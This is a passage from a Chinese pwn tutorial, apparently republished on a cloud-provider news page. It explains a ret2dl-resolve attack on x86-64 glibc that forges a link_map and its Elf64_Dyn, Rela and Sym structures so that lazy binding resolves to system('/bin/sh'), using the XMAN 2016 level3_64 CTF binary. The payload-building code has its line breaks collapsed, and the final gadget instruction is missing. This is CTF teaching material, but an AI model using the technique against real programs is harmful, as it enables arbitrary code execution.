说到这里可能有人会想到，既然伪造的link_map那么厉害，那么我们为什么不在前面的dl-resolve中直接伪造出.dynstr的地址，而要通过一条冗长的求值链返回到system呢？我们来看一下上面的这行代码
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
根据位于glibc/include/Link.h中的link_map结构体定义，这里的l_scope是一个当前link_map的查找范围数组。我们从link_map结构体的定义可以看出来其实这是一个双链表，每一个link_map元素都保存了一个函数库的信息。当查找某个符号的时候，实际上是通过遍历整个双链表，在每个函数库中进行的查询。显然，我们不可能知道libc的link_map地址，所以我们没办法伪造l_scope，也就没办法伪造整个link_map使流程进入_dl_lookup_symbol_x，只能选择让流程进入“函数已被解析过”的分支。
回到主题，我们为了让函数流程绕过_dl_lookup_symbol_x，必须伪造sym使得ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0，根据sym的定义，我们就得伪造symtab和reloc->r_info，所以我们得伪造DT_SYMTAB, DT_JMPREL，此外，我们得伪造strtab为可读地址，所以还得伪造DT_STRTAB，所以我们需要伪造link_map前0xf8个字节的数据，需要关注的分别是位于link_map+0的l_addr，位于link_map+0x68的DT_STRTAB指针，位于link_map+0x70的DT_SYMTAB指针和位于link_map+0xF8的DT_JMPREL指针。此外，我们需要伪造Elf64_Sym结构体，Elf64_Rela结构体，由于DT_JMPREL指向的是Elf64_Dyn结构体，我们也需要伪造一个这样的结构体。当然，我们得让reloc_offset为0.为了伪造的方便，我们可以选择让l->l_addr为已解析函数内存地址和system的偏移，sym->st_value为已解析的函数地址的指针-8，即其got表项-8。(这部分在源码中似乎并没有体现出来，但是调试的时候发现实际上会+8，原因不明)我们还是以~/XMAN 2016-level3_64/level3_64为例进行分析。
首先我们来构造一个fake link_map
fake_link_map_data = ""fake_link_map_data += p64(offset) # +0x00 l_addr offset = system - __libc_start_mainfake_link_map_data += '\x00'*0x60 fake_link_map_data += p64(DT_STRTAB) #+0x68 DT_STRTABfake_link_map_data += p64(DT_SYMTAB) #+0x70 DT_SYMTABfake_link_map_data += '\x00'*0x80 fake_link_map_data += p64(DT_JMPREL) #+0xf8 DT_JMPREL后面的link_map数据由于我们用不上就不构造了。根据我们的分析，我们留出来四个8字节数据区用来填充相应的数据，其他部分都置为0. 接下来我们伪造出三个结构体 fake_Elf64_Dyn = ""fake_Elf64_Dyn += p64(0) #d_tagfake_Elf64_Dyn += p64(0) #d_ptrfake_Elf64_Rela = ""fake_Elf64_Rela += p64(0) #r_offsetfake_Elf64_Rela += p64(7) #r_infofake_Elf64_Rela += p64(0) #r_addendfake_Elf64_Sym = ""fake_Elf64_Sym += p32(0) #st_namefake_Elf64_Sym += 'AAAA' #st_info, st_other, st_shndxfake_Elf64_Sym += p64(main_got-8) #st_valuefake_Elf64_Sym += p64(0) #st_size
显然我们必须把r_info设置为7以通过检查。为了使ELFW(ST_VISIBILITY) (sym->st_other)不为0从而躲过_dl_lookup_symbol_x，我们直接把st_other设置为非0.st_other也必须为非0以避开_dl_lookup_symbol_x，进入我们希望要的分支。
我们注意到fake_link_map中间有许多用\x00填充的空间，这些地方实际上写啥都不影响我们的攻击，因此我们充分利用空间，把三个结构体跟/bin/sh\x00也塞进去
offset = 0x253a0 #system - __libc_start_mainfake_Elf64_Dyn = ""fake_Elf64_Dyn += p64(0) #d_tag 从link_map中找.rel.plt不需要用到标签， 随意设置fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) #d_ptr 指向伪造的Elf64_Rela结构体，由于reloc_offset也被控制为0，不需要伪造多个结构体fake_Elf64_Rela = ""fake_Elf64_Rela += p64(fake_link_map_addr - offset) #r_offset rel_addr = l->addr+reloc_offset，直接指向fake_link_map所在位置令其可读写就行fake_Elf64_Rela += p64(7) #r_info index设置为0，最后一字节必须为7fake_Elf64_Rela += p64(0) #r_addend 随意设置fake_Elf64_Sym = ""fake_Elf64_Sym += p32(0) #st_name 随意设置fake_Elf64_Sym += 'AAAA' #st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支fake_Elf64_Sym += p64(main_got-8) #st_value 已解析函数的got表地址-8，-8体现在汇编代码中，原因不明fake_Elf64_Sym += p64(0) #st_size 随意设置fake_link_map_data = ""fake_link_map_data += p64(offset) #l_addr，伪造为两个函数的地址偏移值fake_link_map_data += fake_Elf64_Dynfake_link_map_data += fake_Elf64_Relafake_link_map_data += fake_Elf64_Symfake_link_map_data += '\x00'*0x20fake_link_map_data += p64(fake_link_map_addr) #DT_STRTAB 设置为一个可读的地址fake_link_map_data += p64(fake_link_map_addr + 0x30)#DT_SYMTAB 指向对应结构体数组的地址fake_link_map_data += "/bin/sh\x00" fake_link_map_data += '\x00'*0x78fake_link_map_data += p64(fake_link_map_addr + 0x8) #DT_JMPREL 指向对应数组结构体的地址
现在我们需要做的就是栈劫持，伪造参数跳转到_dl_fixup了。前两者好说，_dl_fixup地址也在got表中的第2项。但是问题是这是一个保存了函数地址的地址，我们没办法放在栈上用ret跳过去，难道要再用一次万能gadgets吗？不，我们可以选择这个
把这行指令地址放到栈上，用ret就可以跳进_fix_up.现在我们需要的东西都齐了，只要把它们组装起来，pwn it!
上述就是小编为大家分享的Linux pwn中针对函数重定位流程的几种攻击分别是什么了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注亿速云行业资讯频道。
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